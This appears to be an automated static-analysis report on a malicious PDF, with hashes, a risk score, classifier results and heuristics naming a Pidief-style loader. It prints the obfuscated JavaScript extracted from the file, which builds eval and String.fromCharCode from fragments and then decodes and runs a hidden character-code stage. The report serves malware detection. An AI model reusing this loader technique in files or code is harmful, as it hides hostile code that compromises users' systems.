Malicious PDF — malware analysis report

Static analysis result for SHA-256 2cc5fc325928ff74…

MALICIOUS

PDF

44.9 KB First seen: 2013-09-08
MD5: 37c0daeda05bd94d2d76d53d6ca98f57 SHA-1: 62ec887b406bad94129b9ae9193b064ac9466982 SHA-256: 2cc5fc325928ff74d6d6e53baec3317788f72c6611449ba2aea34d85c5f26557
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious JavaScript

The PDF document was flagged as malicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, which is often used to execute malicious code or exploit vulnerabilities within PDF viewers. The presence of JavaScript actions and embedded JS streams strongly suggests an attempt to compromise the user's system.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0F9 447 bytes
SHA-256: 825e7a5f8a85edd9b62b0f2afdee8f2cde46e76c0cd6132d57c4ddbce7c60a36
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
xbd='';
fslrp=('qwrwqr','tit');
e('fnvns=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
heayi=e('String.fr'+fnvns.substr(0,10));
rpu = e(fnvns.substr(10)['replace'](/u/g,','));
e('k=rpu.length');
for (i = 0; i < k; i+=2) {
	nxofo = rpu[i+1] + ('erybjkerl',rpu[i]);
	xbd += heayi(nxofo);
}
e(xbd);

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